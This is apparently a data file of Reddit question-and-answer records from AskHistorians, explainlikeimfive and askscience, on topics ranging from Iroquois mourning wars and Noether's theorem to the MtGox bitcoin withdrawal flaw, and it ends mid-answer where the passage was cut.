{"q_id": "41em6s", "title": "What was a \"Mourning War?\" How did the practice evolve among Native Americans?", "selftext": "Additionally, could they capture white settlers? Say for example, I was captured as an 8 year old boy in the Ohio river valley by the Iroquois. Would I become fully Iroquois?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/41em6s/what_was_a_mourning_war_how_did_the_practice/", "answers": {"a_id": ["cz2t9q2"], "score": [4], "text": [" >  Additionally, could they capture white settlers?\n\nI'll start with this question. Jemison (and variations thereof) is a common Seneca surname today because during  French-and-Indian War, Mary Jemison was captured and adopted by two Seneca sisters. For a while she lived on the Ohio River with these women, but by the time of the American Revolution she was on the Gennesee River in New York. Like so many Seneca, she was forced to flee her home and faced starvation in the wilderness when the Sullivan expedition razed the villages in throughout the region. She has a pseudo-autobiography called *Narrative of the Life of Mrs. Mary Jemison*, which was dictated to James Seaver who is known to have been at least some edits to the content. Still work checking out. Incidentally, when she was captured there was a boy with her that was also adopted by another family.\n\n >  What was a \"Mourning War\"?\n\nProper \"mourning wars\" are an Iroquoian tradition dating to the pre-contact era and immediately after. By the mid-1600s, they'd largely been replaced with a different form of warfare - though some have argued that the Beaver Wars of the latter half of the 17th Century are mourning wars writ large.\n\nA mourning war is initiated by someone's sudden death. The grieving clan organizes a small raiding party (usually composed of the husband's of the clan, who belong to different clans themselves and aren't currently mourning the death of one their own). If the death can be attributed to a specific nation, that nation is targeted. Otherwise any enemy nation will do. The warriors go out, intent on capturing at least one individual from the offending nation to either face justice for the death or to take the place of the recently deceased. Killing isn't the objective, but it if occurs there is no love lost and it may suffice if no captives are taken. For the rest of this post, I'll quote another I wrote some time ago about what happens once the captive is taken:"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5xrjk2", "title": "how can astronauts bend their arms and legs in space, wouldn't the pressure in their space suit make it impossible to bend in the vacuum of space?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5xrjk2/eli5_how_can_astronauts_bend_their_arms_and_legs/", "answers": {"a_id": ["dekc92j", "dekgt7v", "dekhvjj"], "score": [9, 3, 3], "text": ["You're right, it makes the suit rigid and hard to move.  For this reason, EVA suits are filled with 100% oxygen, which allows them to operate well below standard atmospheric pressure.  NASA operates at 3.7-4.3 psi, compared to 14.7 psi for Earth atmosphere.", "\"Space suits\" are the garments that they wear inside the ship, like the silver or blue ones you may have seen in early missions where our men just went into space, but didn't go \"outside\". Those don't need to be pressurized because they are worn inside a pressurized environment.\n\nThe suit you are referring to is called an EVA, or Extra-Vehicular Activity, and is the bulky white suit worn outside the space ship or station. There are two ways they are designed. One is rigid, the other is soft.\n\nThe rigid design is built like the kind of suit that divers use, where the parts are hard and the joints have special hardware that allow them to rotate or bend as needed.\n\nThe soft ones rely on the fabric of the suit hinging the way it needs to by folding. The suits are not actually soft like your clothing is, and they don't stretch like rubber. It's a thick, stiff fabric.", "That is indeed a big problem for space suits.\n\nThe solution that gets used is that the suit is deigned in such a way that the volume inside the suits stays constant when arms or legs a bend. This requires some engineering and results in bulky and not very flexible space suits.\n\nNASA and others are looking into alternatives that are more along the lines of the skin-tight space suits you see in sci-fi cartoons, which would not have the problem as there would be no air between the limb and the suit to get in the way, but they are not yet in use. Those would be a lot smaller and more flexible but have their own issues."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1pukn1", "title": "Did people in 1950s-'70s middle America really think Liberace was straight?", "selftext": "Liberace was a household name and one of the biggest entertainers in the country. Did people choose to ignore his orientation or were they really fooled? Are there any mentions in contemporary letters (especially tape from the period around his White House visits)?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1pukn1/did_people_in_1950s70s_middle_america_really/", "answers": {"a_id": ["cd6bjus", "cd6fwr8", "cd6pcu1"], "score": [152, 8, 2], "text": ["This is a difficult one to answer, but bear with me on this one.\n\nFirst, Liberace defended himself - including in lawsuits - against anyone who asserted he was homosexual. For example, though Liberace was often derided for his effeminate ways, when a British tabloid went too far by openly stating he was homosexual, he sued them for libel (see: _URL_0_ and _URL_3_ ). Essentially, Liberace's secret was an 'open secret' amongst the media, entertainers, and audiences alike and as long as nobody - Liberace or anyone else - stated he was gay, then most people just enjoyed his musicianship, his entertaining personality, and hist flamboyant stage presence. To put it another way, there was knowledge that gay men (and women) existed in the mid-twentieth century and nobody pretended they didn't exist *but* if someone acted on that homosexuality, then they were behaving in a way that was both immoral and illegal and thus were not tolerated.\n\nAs for other gay people of the time, there was certainly wide admiration and perhaps emulation of Liberace. In a recent interview, Elton John paid homage to Liberace and confessed to trying to one-up Liberace on stage, only to be outshone by the latter's flamboyance (see: _URL_2_ ). Similarly, other homosexual people acknowledged Liberace as a member of their community, though not to the wider public. \n\nLiberace's stint in Las Vegas was perhaps the perfect fit for his over-the-top personality; to be outrageous in Las Vegas in the 1970's was a bonus, a draw for the casinos he played and so he became even more ostentatious and it became a bit of a guessing game as to how Liberace would top himself with each passing month. Ironically, it appears that despite his wide popularity he was particularly lonely in this period (see: _URL_1_ ) precisely because of his homosexuality, fame, and fortune. \n\nIn conclusion, I would find it difficult to believe that anyone beyond a few obtuse individuals ever were fooled into thinking he wasn't homosexual and most indeed did choose to ignore his orientation, especially because he fought so hard against being labelled as \"gay.\" To them, it must have been a re-affirmation (even if subconsciously) of their homophobia to have someone who so obviously *is* gay decry the immorality of homosexuality.", "Just before his death, I saw Liberace on the Phil Donahue Show and he looked terrible. Just before a commercial break, Phil announced that when they returned Liberace had a big announcement to make. The announcement turned out to be the 50th anniversary of losing his virginity, which seemed a really weird thing to be making a big deal about. At some point my father walked in the room and seeing Liberace  said, \"He looks terrible. Has he got AIDS or something?\" Soon after that he died and it came out that he indeed had AIDS. I remembered his announcement and thought how sad it was that he knew he would die soon and was trying up to the end to establish his straight credibilities.", "For what it's worth, there are still people like this in the media, who are closeted, widely known to be gay by people in the know, and presumed gay by LGBT people. I'm bi, myself, so I don't know to what extent straight people know or don't know. \n\nExample: A coworker of mine in TV production who is a gay man once had to break it to me gently that Zachary Quinto is gay. A couple years later, he (Quinto) came out. None of this has ruined my raging crush on Spock. So I imagine it works the same way for straight people who don't have entertainment industry connections.\n\nThere are a lot of female celebrities who I either know are lesbians because it's an open secret I happen to be in on, or who I'm pretty sure are lesbians because of gaydar."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.britishpathe.com/video/liberace-leaving-law-courts", "http://www.telegraph.co.uk/culture/film/10078823/The-lonely-Liberace-I-knew.html", "http://www.npr.org/2013/09/23/225380473/a-more-reflective-leap-on-elton-johns-diving-board", "http://www.theguardian.com/media/greenslade/2009/may/26/daily-mirror-medialaw"], [], []]}
{"q_id": "2ib42o", "title": "how did the movie \"the purge\" get away with using the eas tones without being fined?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ib42o/eli5_how_did_the_movie_the_purge_get_away_with/", "answers": {"a_id": ["cl0ip1c", "cl0lfod", "cl0pifg", "cl0prkf", "cl0q0lq"], "score": [42, 40, 3, 13, 7], "text": ["Sorry, my first reply was a guess. But a 4-second Google search answered the specific question quite easily. From the wikipedia page on the EAS:\n\n > In the 2013 film The Purge, the \"Emergency Broadcast System\" is used to inform the populace that the yearly Purge will be starting and lasting for twelve hours.[44] The warning signal is also played in the trailer.[45] The producers used the EBS instead of EAS to avoid legal ramifications.", "Apparently it is illegal to use the \"Emergency Alert System\" tones, but *not* illegal to use the \"Emergency Broadcast System\" tones, which are different. ", "Just commenting to say I live by Universal Studios and can hear the EAS sound occasionally. Still freaks me out for the first second or two.", "can some ELI5 what the eas or ebs even is? (australian)", "It was such a terrible movie nobody has heard it yet."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "klhh0", "title": "calvin cycle", "selftext": "_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/klhh0/eli5_calvin_cycle/", "answers": {"a_id": ["c2l81xh", "c2l8289", "c2l81xh", "c2l8289"], "score": [2, 2, 2, 2], "text": ["Imagine you've got your remote controlled toy car. You run it about and then you run out of batteries.\n\nSo you ask your dad to charge the batteries and he plugs them into the wall to charge. A few hours later, he gives them back to you and you can use your car again.\n\nBut if the wall has all the electricity, why don't you just plug your car in directly to the wall? Because then you wouldn't be able to play with your car away from the wall.\n\nIn this case, the plant is a bit like a car. Like your car, a plant requires energy. It gets energy from the sun. The plant uses light, your car uses electricity. But plants don't have access to the sun all the time, so they need to store energy. In this case, like your car stores in its battery, plants store light energy in sugar. The same sugar that you eat and gives you energy (perhaps, a tad too much).\n\nYour battery doesn't lose anything when its energy is used up other than the energy. When a plant uses up energy by using up sugars, it loses CO2. The same way you breathe out carbon dioxide when you breathe out. So when it recharges its sugars, it needs to get back the CO2 it lost from breathing out.\n\nThat's essentially what the Calvin cycle is. It's a way to make sugars by building them up and adding energy to them.\n\nSo how does the light energy get into the sugar along with the CO2? Well, photosynthesis is basically a way to turn ADP+P and NADP+ into ATP (with energy in that last bond) and NADPH, a reducing agent, similar to some of the chemicals in your battery.", "One of the biggest differences between animals and plants is that plants don't need to eat food -- they make their own, right in their bodies. You know how plants need light to grow? Well, that's because they turn that light into food. The way they do that is called *photosynthesis*.\n\nPhotosynthesis is a process that takes water, carbon dioxide, and light, and turns it into sugar and oxygen.\n\nIt actually happens in two parts, though.\n\nThe first part (called the *light-dependent* part), takes water and light and turns it into oxygen plus some in-between chemicals. The Calvin Cycle is the second part (also called the *light-**in**dependent* part), and it takes those in-between chemicals and carbon dioxide and turns them into sugar and water.\n\nSo the Calvin Cycle is just part of the process of photosynthesis.\n\nAs a side note, you notice how photosynthesis starts with carbon dioxide and makes oxygen? That's really useful to us because when almost all living things -- both plants and animals -- breathe, they breathe in oxygen and then breathe out carbon dioxide. Since photosynthesis is the opposite, plants give us what we need to breathe!", "Imagine you've got your remote controlled toy car. You run it about and then you run out of batteries.\n\nSo you ask your dad to charge the batteries and he plugs them into the wall to charge. A few hours later, he gives them back to you and you can use your car again.\n\nBut if the wall has all the electricity, why don't you just plug your car in directly to the wall? Because then you wouldn't be able to play with your car away from the wall.\n\nIn this case, the plant is a bit like a car. Like your car, a plant requires energy. It gets energy from the sun. The plant uses light, your car uses electricity. But plants don't have access to the sun all the time, so they need to store energy. In this case, like your car stores in its battery, plants store light energy in sugar. The same sugar that you eat and gives you energy (perhaps, a tad too much).\n\nYour battery doesn't lose anything when its energy is used up other than the energy. When a plant uses up energy by using up sugars, it loses CO2. The same way you breathe out carbon dioxide when you breathe out. So when it recharges its sugars, it needs to get back the CO2 it lost from breathing out.\n\nThat's essentially what the Calvin cycle is. It's a way to make sugars by building them up and adding energy to them.\n\nSo how does the light energy get into the sugar along with the CO2? Well, photosynthesis is basically a way to turn ADP+P and NADP+ into ATP (with energy in that last bond) and NADPH, a reducing agent, similar to some of the chemicals in your battery.", "One of the biggest differences between animals and plants is that plants don't need to eat food -- they make their own, right in their bodies. You know how plants need light to grow? Well, that's because they turn that light into food. The way they do that is called *photosynthesis*.\n\nPhotosynthesis is a process that takes water, carbon dioxide, and light, and turns it into sugar and oxygen.\n\nIt actually happens in two parts, though.\n\nThe first part (called the *light-dependent* part), takes water and light and turns it into oxygen plus some in-between chemicals. The Calvin Cycle is the second part (also called the *light-**in**dependent* part), and it takes those in-between chemicals and carbon dioxide and turns them into sugar and water.\n\nSo the Calvin Cycle is just part of the process of photosynthesis.\n\nAs a side note, you notice how photosynthesis starts with carbon dioxide and makes oxygen? That's really useful to us because when almost all living things -- both plants and animals -- breathe, they breathe in oxygen and then breathe out carbon dioxide. Since photosynthesis is the opposite, plants give us what we need to breathe!"]}, "title_urls": [], "selftext_urls": ["http://library.thinkquest.org/C004535/media/calvin_cycle.gif"], "answers_urls": [[], [], [], []]}
{"q_id": "8rtnb9", "title": "the iodine clock reaction??", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8rtnb9/eli5_the_iodine_clock_reaction/", "answers": {"a_id": ["e0u5wc0"], "score": [5], "text": ["Hydrogen peroxide reacts with potassium iodide to produce iodine. As soon as the iodine is produced, it *immediately* reacts with the thiosulfate to convert it back into iodide.\n\n\nOnce the thiosulfate is exhausted, the iodine builds up in solution and reacts with starch to turn the blue-black color.\n\n\nThe color change is the same as in biology where iodine is used to test for the presence of starch, just done in reverse."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1242uv", "title": "Can someone explain Noether's theorem to me? ", "selftext": "I don't really understand what it's saying, or where it comes from. I guess I'm more confused about where it comes from. I've heard it cited a lot to justify things that sound really abstract and fundamental in physics but I've never really understood it. \n\nThanks, all! ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1242uv/can_someone_explain_noethers_theorem_to_me/", "answers": {"a_id": ["c6rzqnl", "c6rzrgv"], "score": [20, 8], "text": ["What Noether's theorem says, slightly roughly, is that if your system has a symmetry, then that symmetry leads to a conserved quantity. Let's unpack this.\n\nFirst, what is a symmetry? A symmetry means that I can change something about the system as a whole and all the physics doesn't change. For example, if I'm in deep space, it doesn't matter whether I do an experiment at one place or if I move ten feet to the left and do the same experiment. I should get exactly the same results (other than everything being ten feet to the left) in either case. This is called translation symmetry. Likewise it shouldn't matter whether I do an experiment now or in ten minutes; the results should be the same. This is \"time translation symmetry.\"\n\nBecause it will be useful, let's talk about when these symmetries don't hold. We think that if you consider the universe as a whole, translation symmetry holds (if we moved everything in the universe over, nothing should change). However, imagine that you live in a box which makes it so that you can't observe the outside world other than by its effects on things inside the box. If the outside world is empty, then translation symmetry should still hold. But imagine that I stood outside the box and held a charged particle near you. Then if you released a particle at one point inside your box, it would accelerate faster than a particle released farther from the point charge (charges exert bigger forces on each other when they're closer together). So from your point of view inside the box, translation symmetry doesn't hold - the results of your experiment depend on where you drop the particle. As for me, well, you didn't change the whole system - you moved your particle, but not mine, so the experiment is different and you shouldn't get the same results.\n\nNow, Noether's theorem says that if you have a symmetry, then that tells you that there's a conserved quantity, that is, something that doesn't change in time. For example, translational symmetry leads to conservation of momentum. Why should this be true? My best explanation is by example. Imagine you're in deep space. Then if you release an object, it will just sit there. Its momentum starts at and stays at zero for all time. But now think about the situation where you're sitting in a box. If you release a charged particle in there, it's going to accelerate, so that particle's momentum changes in time. As it turns out, my particle outside would also experience a change in momentum so that *total* momentum would stay the same. But from your point of view, nothing cancels the momentum change of your particle (since you don't know about me), so you would conclude that momentum is not conserved.\n\n >  I've heard it cited a lot to justify things that sound really abstract and fundamental in physics\n\nYes, there are a lot of symmetries which are more abstract which, via Noether's theorem, lead to really important consequences. As an example, magnetic fields can be written in terms of a different thing called the vector potential. It turns out that more than one vector potential can describe the same magnetic field. But the thing with physical consequences (aside from a caveat that isn't important here) is the magnetic field - it shouldn't matter what vector potential you choose, as long as it describes the right magnetic field. This is called a gauge symmetry, and it turns out that this leads to conservation of electric charge.", "Sure...\n\nPhysicists usually think of it as the statement that symmetries imply conservation laws.  Basically all of the conservation laws you've ever heard of (energy, momentum, charge, angular momentum...) can be thought of in this way.  I'm not an expert on history, but I think this was first formalized by Emmy Noether.\n\nAs an example, the conservation of momentum is a consequence of \"translation symmetry\", which is just a fancy way of saying that the laws of physics are the same in different places.  I don't know if this is \"intuitive\", but...  you can think of moving from one place to another as the \"action\" of this symmetry of translation.  Since it's a symmetry, you can keep going and going and nothing changes (you don't run into anything).  Conservation of momentum is then an abstract consequence of the fact that once you start moving, nothing can stop you without breaking the symmetry of translation.\n\nNow you're confused about why you ever stop.  What about walls!?  Well, walls \"spontaneously break\" the symmetry of translation.  If you've read a bunch about the Higgs boson this may sound familiar -- the Higgs field \"spontaneously breaks\" symmetries in order to give masses to elementary particles, which otherwise would be massless due to symmetries.\n\nAnywho."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5fq4kr", "title": "Gramps in World War 2", "selftext": "Ok, so my grandfather passed away and I was unable to get him to speak in depth to me about his service during World War 2. \n\nWe are of German decent he was 2nd generation German American who served in the US Army. German wasn't spoken in our home, however I am certain that my great-grandfather, his father did speak German, so it would not be improbable that he spoke some German.  \n\nThe little information I could gleen was that he served in \" The Battle of the Bulge.\" What he specifically did , I am not aware of. He had shared some of his memorabilia with me which included a German helmet,  Luger pistol, and the one thing that sticks out most in my mind now is a \"minox camera.\" Minox cameras are very specific in their use....\n\nThe helmet and the pistol are something many returning vets may have picked up and brought home. The camera though isn't something that would be. Combining all 3 leads to more questions than answers. What is it he could have possibly done during his time in theater. Unfortunately with him no longer living I will never be able to get conclusive proof, but I'm hoping you might point me in a plausible direction. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5fq4kr/gramps_in_world_war_2/", "answers": {"a_id": ["dam43sq"], "score": [4], "text": ["r/AskHistorians has a guide [here](_URL_4_) on retrieving family members' military records, if you do not already have them (more direct link [here](_URL_5_)) Records over 62 years old (rolling discharge date prior to 1954 in this case) are considered archival, and can be accessed by anyone for a copying fee. Keep in mind that a significant portion of WWII-era records were [destroyed in a catastrophic fire at the National Personnel Records Center in 1973](_URL_1_), and so what *is* available might only be fragmentary, if it survived at all.\n\nIf you do end up finding your grandfather's records through any means, here is some more helpful information that can help you decipher them. I would be glad to help you decipher the more cryptic parts.\n\n* [Reading and Understanding the WWII Discharge Document](_URL_2_) **PDF**\n\n* [TM 12-427 *Military Occupational Classification of Enlisted Personnel*, dated 12 July 1944](_URL_0_) (webpage)\n\n*  [TM 12-427 *Military Occupational Classification of Enlisted Personnel*, dated 12 July 1944](_URL_3_) **PDF**"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.alternatewars.com/BBOW/Ranks/USA_Job_Areas_WW2.htm", "https://www.archives.gov/st-louis/military-personnel/fire-1973.html", "http://www.80thdivision.com/PDFs/ReadingUnderstandingWWIIDischargeDocument.pdf", "http://www.alternatewars.com/BBOW/Sources/TM_12-427_1944.pdf", "https://www.reddit.com/r/AskHistorians/comments/3k4ff7/raskhistorians_guide_on_finding_family_military/", "https://www.archives.gov/veterans/military-service-records"]]}
{"q_id": "9xbm4u", "title": "what is happening with theresa may?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9xbm4u/eli5_what_is_happening_with_theresa_may/", "answers": {"a_id": ["e9qyozg"], "score": [6], "text": ["Her biggest task is to get decent trade deals with European countries so that after Britain leaves the EU they will still be able to have a decent economy. However as the deadline gets ever closer this is proving to be an almost impossible task. The latest news now is that several of the key diplomats that have been working on this deal have given up and is resigning from their offices as they do not see how it would be possible. And if Britain is not able to negotiate trade deals they will suffer great economic losses in just a few months. The other EU countries will also suffer economically but not even close to the extent that Britain is facing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3jmi4e", "title": "How did the original \"Eeny, meeny, miny, moe\" (featuring the word n*gger) begin? What does it mean line by line?", "selftext": "Taken from wikipedia:\n\n*Some older versions of this rhyme had the word nigger instead of tiger:*\n\n*Eeny, meena, mina, mo,\nCatch a nigger by the toe;\nIf he hollers let him go,\nEena, meena, mina, mo.[3]\nThis version was similar to that reported as the most common version among American schoolchildren in 1888.[10] It was used in the chorus of Bert Fitzgibbon's 1906 song \"Eeny, Meeny, Miny, Mo\":*\n\n*Eeny, Meeny, Miny, Mo,\nCatch a nigger by his toe,\nIf he won't work then let him go;\nSkidum, skidee, skidoo.\nBut when you get money, your little bride\nWill surely find out where you hide,\nSo there's the door and when I count four,\nThen out goes you.[11]*\n\n*It was also used by Rudyard Kipling in his \"A Counting-Out Song\", from Land and Sea Tales for Scouts and Guides, published in 1935.[12] This may have helped popularise this version in the United Kingdom where it seems to have replaced all earlier versions until the late twentieth century.[3]*\n\n*Iona and Peter Opie pointed out in The Oxford Dictionary of Nursery Rhymes that the word \"nigger\" was common in American folk-lore, but unknown in any English traditional rhyme or proverb.[3] This, combined with evidence of various other versions of the rhyme in the British Isles pre-dating this version, would seem to suggest that it originated in North America, although the apparently American word 'holler' was first recorded in written form in England in the fourteenth century, whereas according to the Oxford English Dictionary the words 'Niger' or 'nigger' were first recorded in England in the sixteenth century with their current disparaging meaning. The 'olla' and 'toe' are found as nonsense words in some nineteenth century versions of the rhyme, and it could possibly be that the original 'Where do all the Frenchmen Go?' (probably originating during one of the periods of Anglo-French warfare) was later on replaced by the earlier version in the United States, using some of the nonsense words*\n\nSource: _URL_0_\n\nI have several questions:\n\n* Are words like \"Eeny\" \"Miny\" \"Skidum\" and \"Skidoo\" complete nonsense for the sake of creating a memorable delivery? What is the purpose of their usage?\n\n* How did the eeny, meeny, miny, moe rhyme begin? Was it a quick rhyme to tell small children, not unlike old pirate songs (ex; sing a song of sixpence, etc.)?\n\n* When the rhyme states \"If he won't work then let him go\" ... \" is this implying a slave should be murdered, if deemed unproductive? Released to hunt the slave? Is there historical significance here?\n\n* When the rhyme states \"But when you get money, your little bride will surely find out where you hide,\" What is this in reference to?\n\n* Why would anyone ever catch another human being by the toe? Or is this also to create a silly rhyme?\n\n* In addition to the now better known substitution of 'tiger' for 'nigger' I can tell you as a small child I definitely heard both iterations which is fascinating to me because I'm only in my 20's - so I'm curious about how the split began. I'd also be curious to hear how common each iteration is and what the origin is?\n\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3jmi4e/how_did_the_original_eeny_meeny_miny_moe/", "answers": {"a_id": ["cuqypsa", "cur63dl"], "score": [26, 23], "text": ["I'd just like to say that nonsense syllables at the beginning of counting-out games isn't restricted to English, but actually fairly common in German and Norwegian. [The most popular German ditty begins](_URL_3_) \"Ene mene miste, es rappelt in der Kiste\" -- the first three words are nonsense, but set a rhythm and conveniently rhyme with the next line ('there's commotion in the chest/box'). [The same with the most popular Norwegian one,](_URL_0_) which begins \"Elle melle, deg fortelle\" ('elle melle, telling you') and ends \"snipp, snapp, snute, du er ute\" ('snip-snap snout, you are out') -- which, incidentally, is how you end fairy tales in Norwegian, only with 'the fairy tale' substituted for 'you'. \n\nThere's even some ditties in both German and Norwegian that are almost exclusively nonsense, interspersed with a couple of 'real' lines. [One of the German ones](_URL_2_) begins with what is widely assumed to be a bastarization of the French numbers one through four (\"ong dong dee kader\" for \"un, deux, trois, quatre\"), which makes sense considering it's from a town near the French border. A Norwegian example is [the second one on the wiki page for Norwegian counting-out games](_URL_1_).", "This is covered by David Rubin in his 1995 book *Memory in Oral Traditions: the Cognitive Psychology of Epic, Ballads, and Counting-out Rhymes*, chapter 10 (pp. 227-56). \n\nIn the nonsense syllables \"eenie meenie miney mo\", the sound patterns are key to their emergence and longevity (and this also applies to the other examples people have cited here): rhyme, alliteration, and assonance are all strongly self-replicating, self-propagating elements in oral traditions. Note that a single vowel gets repeated five times in the phrase \"eenie meenie miney mo\", and the syllable \"nee\" appears three times. These poetic devices also extend into the middle two lines, which convey a sort of meaning, though there meaning is also an important self-replication device so there's more room for incidental variations: when the first and last lines change, the changes tend to be more systematic, e.g. \"eena deena dina do\".\n\nTextual variations are abundant. Rubin reports 82 variants of the text in a catalog compiled in 1980, with 291 word-changes. He classifies the 291 word-changes as follows:\n\n* replacing most or all of the first and last lines: 41%\n* changes to the word \"tiger\": 25%\n* replacing most or all of the second and third lines: 13%\n* miscellaneous changes: 12%\n* changes to the word \"hollers\": 9%\n\nA higher percentage doesn't indicate more popular variations, but wider variation. For the word \"tiger\" (the second most variable element in the rhyme), he reports the following variants:\n\n* \"n****r\": 56 instances\n* \"tiger\": 9 instances\n* \"neighbor\": 3 instances\n* \"monkey\": 2 instances\n* \"baby\", \"beatnik\", \"feller\", \"lamb\", \"lion\", \"lizard\", \"pig\", \"robber\", \"rooster\", \"schmoo\", blank space: 1 instance each\n\nAgain, number of instances doesn't indicate popularity, but number of variants known. It's pretty obvious that \"n****r\" is a more primary version of the text, with the other variants as replacements to make the text more socially acceptable. Rubin points out that \"tiger\" and \"monkey\" are especially good replacements because they alliterate with \"toe\" and \"mo\" respectively.\n\nSome variants are regional: for example, the word \"hollers\" is routinely replaced by \"squeals\" in Great Britain (he may mean excluding N. Ireland, it's not clear) and New Zealand. Rubin reports a 1979-1980 survey of Duke undergraduates in which the number of variants known came out as follows:\n\n* replacing most or all of the first and last lines: 0%\n* changes to the word \"tiger\": 31%\n* replacing most or all of the second and third lines: 28%\n* miscellaneous changes: 38%\n* changes to the word \"hollers\": 3%\n\nSo in that population the variant \"eenie meenie miney mo\" is practically obligatory, and \"hollers\" is very much the standard. In terms of the relative popularity of alternatives to \"tiger\", here were the number of undergraduates who reported each variant:\n\n* \"tiger\": 73\n* \"monkey\", \"rabbit\": 10 each\n* \"n****r\": 4\n* blank space: 3\n* \"fellow\", \"piggie\": 2 each\n* \"blackbird\", \"bunny\", \"buyer\", \"chicken\", \"doggie\", \"froggie\", \"wiffer waffer\": 1 each\n\nAt pages 246-7 Rubin gets on to the history of the changes. Here's the incidence of \"n****r\" over time:\n\n* up to 1939: 84%\n* 1940s and 1950s: 62%\n* 1960s and 1970s: 37%\n\nSo \"n****r\" starts to get replaced around WWII, and the rate of replacement increased dramatically during the Civil Rights movement. This result is not very surprising, but it's nice to know for sure. At every stage in the history of the rhyme, Rubin notes, \n\n >  Using a both a comparison across all versions published in the folklore literature and a detailed analysis of two samples of *Eenie Meenie* collected 90 years apart, there were no trend that violated the constraints of the two rhymes\n\nin terms of their self-propagating phonetic characteristics. That is to say, however much the rhyme changes, the importance of rhyme, alliteration, and assonance remain constant. (For reference, the second rhyme Rubin refers to is \"One potato, two potato\".) So, he concludes,\n\n >  By either estimate [of the number of generations of children], *Eenie Meenie* has been stable for almost 20 generations. Thus the multiple constrains shown to operate in recall appear to function over historical time.\n\nRubin doesn't discuss the origins of the rhyme, but I don't imagine he'd have much to add to the report in Wikipedia. In terms of the motivation for why such a rhyme exists: counting-out rhymes are, if not universal, at least a very widespread habit among children. \"Eenie meenie\" fits into a category of many such rhymes: just in English, some other examples are \"One potato, two potato\"; \"Onery, twoery, tickery, teven\"; \"Acker, backer, soda cracker\"; and as other posters have pointed out, there's no shortage of counting-out rhymes in other languages."]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Eeny,_meeny,_miny,_moe"], "answers_urls": [["http://www.barnesanger.no/elle-melle-deg-fortelle.html", "https://nn.wikipedia.org/wiki/Ut-teljing", "https://de.wikipedia.org/wiki/Abz%C3%A4hlreim#Homburg", "https://de.wikipedia.org/wiki/Abz\u00e4hlreim"], []]}
{"q_id": "1xzb85", "title": "the mtgox bitcoin controversy going on", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1xzb85/eli5_the_mtgox_bitcoin_controversy_going_on/", "answers": {"a_id": ["cfg0729", "cfg0bpz", "cfg1xkd", "cfg7pfk"], "score": [47, 2, 8, 2], "text": ["I don't think I'm an authority on the matter but it's been an hour and I seem to be the first to reply.\n\nThere was a glitch in the MtGox exchange that lets users attempt to modify the bits that were sent and received to withdraw bitcoins that they owned, but make it appear as if they had not yet done so. This way, they could then withdraw the same bitcoins a second time from MtGox, and double the amount of money they had (or attempt to modify the bits again, and triple their money, etc.).\n\nA bitcoin exchange has 2 risks to it - the exchange itself, and the bitcoin market. It's hypothetically possible to exchange bitcoins on your own, but there are many ways you could mess up and lose a lot of money. Exchanges basically figured this out for you, but if they mess up then you can't get your money back. You have to trust the exchange, and you are always at the mercy of the bitcoin market.\n\nWhen this glitch became known, people became skeptical about how much money MtGox has lost from these double withdrawal attempts, and worried that they would not be able to access their bitcoins again (for example, if MtGox goes bankrupt). The fear of the exchange failing encouraged those holding bitcoins on the MtGox exchange to sell aggressively, and buyers to back away, driving the price down.\n\nIf the glitch is resolved and MtGox does not declare bankruptcy, the bitcoin price on the MtGox exchange will move much closer to the price on other exchanges.", "There is a problem with the rules that run bitcoin, it was discovered and disclosed like 2 years ago but some bad men have discovered how to use that flaw to take more bitcoins then they own off of the exchange. In response to this, MtGox has stopped anybody from taking their coins off the site while they work to correct the flaw. MtGox is blaming the bitcoin protocol, which is in a way true but they could have coded around the known flaw to prevent it from happening as well. Also, MtGox is contributing to the discrediting of bitcoin by blaming the protocol which is biting the hand that feeds them.", "I'm no more an expert than the rest, but I'll give a shot at trying to bring it further down to age ~5ish[Bored in a Saturday class].\n\nMTGox, has been around since 2009[but didn't start in Bitcoin until ~2011], and apparently has a figurehead who is also part of the Bitcoin foundation(who I believe is incharge of standardizing Bitcoin protocols and implementation). Has a flaw where the only way they track a transaction is by a \"transaction code\", which is created through some special method of taking Sender+Receiver+Amount+Timestamp and putting them together in a \"standard way\". As long as everyone performs this action the same way, they have no issues.\n\nNow for a transaction to \"go through\", it has to be added to the blockchain and confirmed. Without going too far into how that part of it works, picture 100 people trying to throw a dart at the same time at a dartboard the size of your hand. Some people won't make it the first try, and might have to wait a few more minutes to see if they get it on the next try. Each dart has wrapped around it a \"transaction code\" and inside is the details of the sender/receiver/amount/timestamp.\n\nWhen a dart is \"accepted\" or a transaction is accepted, sometimes the miners(who add the transaction to the blockchain, then bruteforce random characters onto the end and do another math formula to confirm and accept the transactions).\n\nSo pulling all those parts together, MtGox has been doing inventory using a transaction ID they apparently thought was foolproof. The problem is the miners who control the blockchain can currently accept transactions who's transaction codes do not match the transaction data that matches it[by adding spaces/junk data to the sender/receiver/amount/timestamp]. Because in various cases an \"incorrect\" transaction will help the miner fulfill the requirements necessary to continue the blockchain. So an attacker can request bitcoin from MtGox, and at the same time, the attacker can grab the transaction from the network before it is 